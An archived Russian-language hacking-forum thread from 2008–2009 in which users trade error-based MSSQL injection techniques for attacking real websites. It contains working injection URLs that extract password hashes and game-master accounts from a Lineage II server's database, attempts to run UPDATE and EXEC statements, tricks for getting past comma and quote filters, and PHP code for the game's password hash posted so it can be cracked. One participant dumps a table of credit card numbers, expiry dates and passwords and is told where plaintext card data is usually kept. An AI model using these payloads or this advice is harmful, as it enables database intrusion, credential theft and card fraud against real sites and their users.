ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   mssql inj help (https://forum.antichat.xyz/showthread.php?t=65041)

aka PSIH 07.07.2008 09:27

Цитата:

Сообщение от NamahS
3) to cash Ведь ты выкладывал где-то Удаленный дампер через иньекцию...плиз дай ссылку...ПЛИЗ)))

https://forum.antichat.ru/thread24918.html
https://forum.antichat.ru/thread28461.html
MSSQL Extractor

NamahS 07.07.2008 12:51

to aka PSIH две первые ссылки для MySQL...мне нужно для MSSQL...

aka PSIH 07.07.2008 12:59

Цитата:

Сообщение от NamahS
to aka PSIH две первые ссылки для MySQL...мне нужно для MSSQL...

они работают и с mysql и с mssql.. ;) читай маны...

NamahS 13.07.2008 13:52

Ну будьте другами, помогите пожалуйста.
Я нифига не въезжаю...
В базе данных la2info..sa_names есть всего три колонки (id(int),name(varchar),desc(varchar))
Я делаю запрос =(select+top+1+name+from+la2info..sa_names)--
запрос в ошибке возвращает первую запись в таблице.
А вот запрос =(select+top+1+id+from+la2info..sa_names)--
не возвращает вообще ничего(ошибки преобразования в int нет???).
Пробую так =(select+top+1+cast(id+as+nvarchar)+from+la2info.. sa_names)--
тоже ничего.
Можно попробовать не cast, а convert, например =(select+top+1+convert(nvarchar,id)+from+la2info.. sa_names)--
Но запятая вырезается даже если использовать %2C и выходит convert(nvarcharid).....
Что придумать если посмотреть можно только поля varchar (через ошибку преобразования в int), а нужны и другие типы?

to -=megahertz=- Как делал-то колись... ;)

mister 16.07.2008 15:49

Цитата:

Сообщение от NamahS
Ну будьте другами, помогите пожалуйста.
Я нифига не въезжаю...
В базе данных la2info..sa_names есть всего три колонки (id(int),name(varchar),desc(varchar))
Я делаю запрос =(select+top+1+name+from+la2info..sa_names)--
запрос в ошибке возвращает первую запись в таблице.
А вот запрос =(select+top+1+id+from+la2info..sa_names)--
не возвращает вообще ничего(ошибки преобразования в int нет???).
Пробую так =(select+top+1+cast(id+as+nvarchar)+from+la2info.. sa_names)--
тоже ничего.
Можно попробовать не cast, а convert, например =(select+top+1+convert(nvarchar,id)+from+la2info.. sa_names)--
Но запятая вырезается даже если использовать %2C и выходит convert(nvarcharid).....
Что придумать если посмотреть можно только поля varchar (через ошибку преобразования в int), а нужны и другие типы?

to -=megahertz=- Как делал-то колись... ;)

=(select+top+1+cast(id+as+nvarchar)%2Bchar(97)+fro m+la2info..sa_names)-- попробуй так

guest3297 16.07.2008 17:07

NamahS
Цитата:

Что придумать если посмотреть можно только поля varchar (через ошибку преобразования в int), а нужны и другие типы?
Код:

cast (name as varchar)
подробнее тут
http://hack-shop.org.ru/board/forumdisplay.php?f=18

NamahS 17.07.2008 06:07

Цитата:

Сообщение от mister
=(select+top+1+cast(id+as+nvarchar)%2Bchar(97)+fro m+la2info..sa_names)-- попробуй так

ДА!ДА!ДА! :o
А я блин зациклился на convert(nvarchar,id+"a"), а запятая вырезается....короче зациклило на прямолинейном мышлении :) МЭНИ МЭНИ СЕНКС.
Лови репу)

Цитата:

Сообщение от [ cash ]
NamahS

Код:

cast (name as varchar)
подробнее тут
http://hack-shop.org.ru/board/forumdisplay.php?f=18

Тоже огромное спасибо! При приведении в nvarchar одни вопросы вылазили в бинарном типе. При varchar возвращает крякозяблы. Я так понимаю их надо в любой ХЕКС-редактор загнать и взять уже оттуда? Или есть функция которой сразу в запросе можно вернуть в 16-чной кодировке? Сорри не силен в функциях MSSQL.

s1nn3r 17.07.2008 08:36

кажись линейка на сервере том , когда то подобным занимался немного. веб обвязка и ява сервер используют общую базу ...сервер не корейский , а фришный , поставляеться с обвязкой (сборок серверов в природе существует много ) ...но структура таблиц у них отличаеться не координально ...скачай дистриб сервера , загляни в таблицы , пару обвязок найди до кучи , и мозаика сложиться ... ключевое слово в поисковике - Создание сервера LineAge ;)

NamahS 17.07.2008 13:35

Цитата:

Сообщение от s1nn3r
кажись линейка на сервере том

:))) Ясное дело линейка, только не на яве, а офф и на MSSQL. :) Все уже сложилось, остались только пробелы в знаниях которые надо заполнить)))
Проблема в том, что при считывании password as varchar возвращается что-то навроде 5ъЎ™ёЄ 9 ††KСчч. Я конечно могу руками это перевести в ХЕКС, но где-то видел функцию, которая переводит это на лету...

NamahS 19.07.2008 05:06

А кто-нибудь знает, как расшифровать ХЭШИ, которые в MSSQL от Lineage C6(interlude)?
Или на С++ переписать код шифрования?
Цитата:

function encrypt($str)
{
$key = array();
$dst = array();
$i = 0;
$nBytes = strlen($str);
while ($i < $nBytes)
{
$i++;
$key[$i] = ord(substr($str, $i - 1, 1));
$dst[$i] = $key[$i];
}
$rslt = $key[1] + $key[2]*256 + $key[3]*65536 + $key[4]*16777216;
$one = $rslt * 213119 + 2529077;
$one = $one - intval($one/ 4294967296) * 4294967296;

$rslt = $key[5] + $key[6]*256 + $key[7]*65536 + $key[8]*16777216;
$two = $rslt * 213247 + 2529089;
$two = $two - intval($two/ 4294967296) * 4294967296;

$rslt = $key[9] + $key[10]*256 + $key[11]*65536 + $key[12]*16777216;
$three = $rslt * 213203 + 2529589;
$three = $three - intval($three/ 4294967296) * 4294967296;

$rslt = $key[13] + $key[14]*256 + $key[15]*65536 + $key[16]*16777216;
$four = $rslt * 213821 + 2529997;
$four = $four - intval($four/ 4294967296) * 4294967296;

$key[4] = intval($one/16777216);
$key[3] = intval(($one - $key[4] * 16777216) / 65535);
$key[2] = intval(($one - $key[4] * 16777216 - $key[3] * 65536) / 256);
$key[1] = intval(($one - $key[4] * 16777216 - $key[3] * 65536 - $key[2] * 256));

$key[8] = intval($two/16777216);
$key[7] = intval(($two - $key[8] * 16777216) / 65535);
$key[6] = intval(($two - $key[8] * 16777216 - $key[7] * 65536) / 256);
$key[5] = intval(($two - $key[8] * 16777216 - $key[7] * 65536 - $key[6] * 256));

$key[12] = intval($three/16777216);
$key[11] = intval(($three - $key[12] * 16777216) / 65535);
$key[10] = intval(($three - $key[12] * 16777216 - $key[11] * 65536) / 256);
$key[9] = intval(($three - $key[12] * 16777216 - $key[11] * 65536 - $key[10] * 256));

$key[16] = intval($four/16777216);
$key[15] = intval(($four - $key[16] * 16777216) / 65535);
$key[14] = intval(($four - $key[16] * 16777216 - $key[15] * 65536) / 256);
$key[13] = intval(($four - $key[16] * 16777216 - $key[15] * 65536 - $key[14] * 256));

$dst[1] = $dst[1] ^ $key[1];

$i=1;
while ($i<16)
{
$i++;
$dst[$i] = $dst[$i] ^ $dst[$i-1] ^ $key[$i];
}

$i=0;
while ($i<16)
{
$i++;
if ($dst[$i] == 0)
{
$dst[$i] = 102;
}
}

$encrypt = "0x";
$i=0;

while ($i<16)
{
$i++;
if ($dst[$i] < 16)
{
$encrypt = $encrypt . "0" . dechex($dst[$i]);
}
else
{
$encrypt = $encrypt . dechex($dst[$i]);
}
}
return $encrypt;
}

guest3297 21.07.2008 04:59

Забейте вы на эту линейку. И не забывай если не можешь узнать можно сменить.

NamahS 21.07.2008 10:04

Цитата:

Сообщение от [ cash ]
Забейте вы на эту линейку. И не забывай если не можешь узнать можно сменить.

Ну подскажи плиз, не могу update я сделать...
для примера:
такой запрос и ему подобные проходят
/?part=items&id=-35332+OR+1=(select+top+1+cast(password+as+varchar) %2Bchar(97)+from+lin2db..user_auth+where+account=% 22login%22)--
не могу прикрутить к нему второй ((select+top+2+cast(password+as+varchar)%2Bchar(97 )+from+lin2db..user_auth)+where+account=%22login%2 2)-- для перебора ...чтобы и перебор был и условие сохранялось?
Где я ошибаюсь в запросе UPDATE ?
/?part=items&id=-35332+OR+1=(update+lin2world..user_data+set+hp=%22 202.001%22+where+char_name=%22lalala%22)--......????
Знаки ; , ' вырезаются:(
И еще вопрос, чем можно php функцию intval заменить на C++ ? Весь ИНЕТ перерыл кажется. Не нашел ничего. Я так понял, что в ПХП она округляет значение до целочисленного, а в С++ если пользоваться целочисленным типом int, то он просто откидывает дробную часть %)...т.е. 1.6 = 1

30han 28.07.2008 04:54

Возможна ли sql-inj на сервере, где не используется переменная id(в url нет обращения к базе через переменную)? Если да, то как обнаружить возможность injection?

-=megahertz=- 30.07.2008 00:49

Цитата:

Сообщение от NamahS
Ну подскажи плиз, не могу update я сделать...
для примера:
такой запрос и ему подобные проходят
/?part=items&id=-35332+OR+1=(select+top+1+cast(password+as+varchar) %2Bchar(97)+from+lin2db..user_auth+where+account=% 22login%22)--
не могу прикрутить к нему второй ((select+top+2+cast(password+as+varchar)%2Bchar(97 )+from+lin2db..user_auth)+where+account=%22login%2 2)-- для перебора ...чтобы и перебор был и условие сохранялось?
Где я ошибаюсь в запросе UPDATE ?
/?part=items&id=-35332+OR+1=(update+lin2world..user_data+set+hp=%22 202.001%22+where+char_name=%22lalala%22)--......????
Знаки ; , ' вырезаются:(
И еще вопрос, чем можно php функцию intval заменить на C++ ? Весь ИНЕТ перерыл кажется. Не нашел ничего. Я так понял, что в ПХП она округляет значение до целочисленного, а в С++ если пользоваться целочисленным типом int, то он просто откидывает дробную часть %)...т.е. 1.6 = 1

чувак скажи конкретно что ты хочешь вытащить из базы?!
или ты просто от нефиг делать его этот сайт пытаешь?

NamahS 30.07.2008 07:01

Цитата:

Сообщение от -=megahertz=-
чувак скажи конкретно что ты хочешь вытащить из базы?!

Я хочу повысить уровень своих знаний !!! Это моя лабораторная работа :) Во как сказал... :)
Дошел до вытаскивания ХЭШей ГМ-ов и т.д....набросал для себя програмку, которая эти ХЭШИ подбирает...
Не могу осилить, как сделать так, чтобы выбирать не первое, а второе, третье ... значение + УСЛОВИЕ.
Например: /?part=items&id=-35332+OR+1=(select+top+1+cast(account_name+as+varc har)%2Bchar(97)+from+lin2world..user_data+where+bu ilder=1)--
В этом запросе вывожу первый аккаунт где builder=1...рыдаю :) не могу вывести второй,третий... при том же условии builder=1.
Еще не могу понять, как можно здесь сделать UPDATE и EXEC....чего только не пробовал....где-то недопонимаю...вот и прошу помощи примерами, чтоб мозаика сложилась :)
И еще, так-как не силен в функциях MSSQL, то спрашиваю, есть ли функция наподобие cast(значение+as+varchar), только чтоб возвращала значения не в ASCII или там varchar, а в 16-ричном виде(ХЕКСе)...ну например для тех же ХЭШЕЙ???

durito 30.07.2008 09:35

попробуй так:

/?part=items&id=-35332+OR+1=(select+top+1+cast(account_name+as+varc har)%2Bchar(97)+from+lin2world..user_data+where+ca st(account_name+as+varc har)%2Bchar(97)+not+in+(select+top+2+cast(account_ name+as+varc har)%2Bchar(97)+from+lin2world..user_data))--

единственная проблема во втором select+top+2 более 2К занчений лучше не вводить.

cyberia 06.08.2008 09:04

задам тут свой вопрос.

таблица NAMES содержит поля:
---
EXP_MO
EXP_YR
CARD_NUM
---

EXP_MO и EXP_YR успешно выводятся запросом:
1%20or%201=(select+TOP+1+cast(EXP_MO+as+nvarchar)% 2Bchar(97)+FROM+NAMES)--

а вот CARD_NUM при таком же запросе просто перезагружает страницу без ошибки.
почему? могут быть в таблицах защищённые поля, которые не выводятся?

с полями NM_USERID и NM_PASSWORD такая же фигня происходит. хотя другие поля с именами, адресами и прочим выводятся без проблем.

1ten0.0net1 06.08.2008 13:35

У полей разный тип и хотя ты делаешь cast, они вместе могут не выводиться. А отдельно выводится номер карты?

cyberia 06.08.2008 17:52

Цитата:

Сообщение от 1ten0.0net1
У полей разный тип и хотя ты делаешь cast, они вместе могут не выводиться. А отдельно выводится номер карты?

нет, не выводится. даже

1%20or%201=(select+TOP+1+cast(len(CARD_NUM)+as+nva rchar)% 2Bchar(97)+FROM+NAMES)--

не выводится. и длинна паролей так же не выводится. хотя длинна других полей таким образом выводится.

cyberia 07.08.2008 02:47

Разобрался. Просто не все CARD_NUM заполнены. Надо выбирать только NOT NULL.

А карты оказались зашифрованы. Выглядят вот так: KmSrs8ltGQ8WyhlV71dY6$Wl0aaAD

реально отсюда как-то получить строку из 16 цифр? :)

1ten0.0net1 07.08.2008 15:35

Советую искать другие таблицы, например, orderd_logs и т. п. Там, обычно, plain-text.

Kissa2k 22.03.2009 20:20

У меня тоже странная проблема..
Такой запроc 1 or 1=(select top 1 table_name from information_schema.tables)--
выдает ошибку Incorrect syntax near the keyword 'top'.
а при запросе
1 or(1=(select(max(table_name))from[information_schema].tables))--
получаю
An aggregate may not appear in the WHERE clause unless it is in a subquery contained in a HAVING clause or a select list, and the column being aggregated is an outer reference.

Shadow6120 24.03.2009 11:00

А что если пишет
Incorrect syntax near the keyword 'or'??

Kissa2k 24.03.2009 21:48

Забыл в конце поставить комментарий?

Shadow6120 25.03.2009 16:08

Kissa2k, нет конечно, меня интересует, можно ли сделать запрос, дающий тоже самое что и
-1+OR+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_S CHEMA.TABLES)--
но без использования OR

Kissa2k 25.03.2009 20:36

Можно использовать UNION, но тогда придется подбирать кол-во столбцов в запросе.

Shadow6120 26.03.2009 14:38

Kissa2k, union тоже фильтруется((((

Jokester 26.03.2009 15:55

Shadow6120
Ты и в самом деле думаешь. что фильтруется "or" ?

Ошибку переведи нормально
Incorrect syntax near the keyword 'or'

near--около

Добавь кавычку,скобку, другую кавычку, смени плюсы, нужное подчеркнуть

Gerceg 30.03.2009 11:44

Были такие же траблы,решил с помощью вас


Время: 17:08